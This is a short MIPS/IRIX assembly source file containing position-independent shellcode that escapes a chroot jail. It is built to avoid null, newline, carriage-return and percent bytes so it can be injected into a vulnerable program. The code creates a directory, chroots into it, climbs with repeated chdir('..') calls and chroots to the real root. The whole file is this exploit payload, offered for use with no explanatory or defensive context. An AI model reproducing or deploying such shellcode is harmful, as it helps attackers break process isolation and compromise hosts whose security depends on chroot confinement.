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/* MIPS/IRIX PIC chroot break
* without 0x00, 0x0a, 0x0d, 0x25
*
* -sc.
*/
#include <sgidefs.h>
#include <sys/regdef.h>
#include <sys/asm.h>
#include <sys.s>
#include <sys/syscall.h>
.section .text
.globl cbegin
.globl cend
cbegin:
.set noreorder
.set nomacro
foo: bltzal zero, foo
li a1, 0700 /* a1 = 0700 permission */
/* mkdir ("Y..", 0700);
*/
lui t2, 0x592e
ori t2, 0x2cff /* t1 = "Y..\x00" */
add t2, t2, 0x0101
sw t2, -48(ra)
subu a0, ra, 48 /* a0 = "Y.." */
li v0, SYS_mkdir /* 0x0438 */
syscall
/* chroot ("Y..");
* a0 still points to it
*/
addu v0, a1, (SYS_chroot - 0700) /* v0 = SYS_chroot (0x0425) */
syscall
/* chdir ("..") a few times
*/
li s2, 0x1211 /* 12 times chdir ("..") */
foo2: subu a0, ra, 47 /* "..\x00" */
li v0, SYS_chdir /* 0x03f4 */
syscall
sub s2, 0x0101
bgez s2, foo2
addu v0, s2, 0x0426 /* bds: SYS_chroot (0x0425) + 1 */
subu a0, ra, 46 /* ".\x00" */
syscall
li t2, 0x7350 /* NOP */
.end cbegin
cend:
nop
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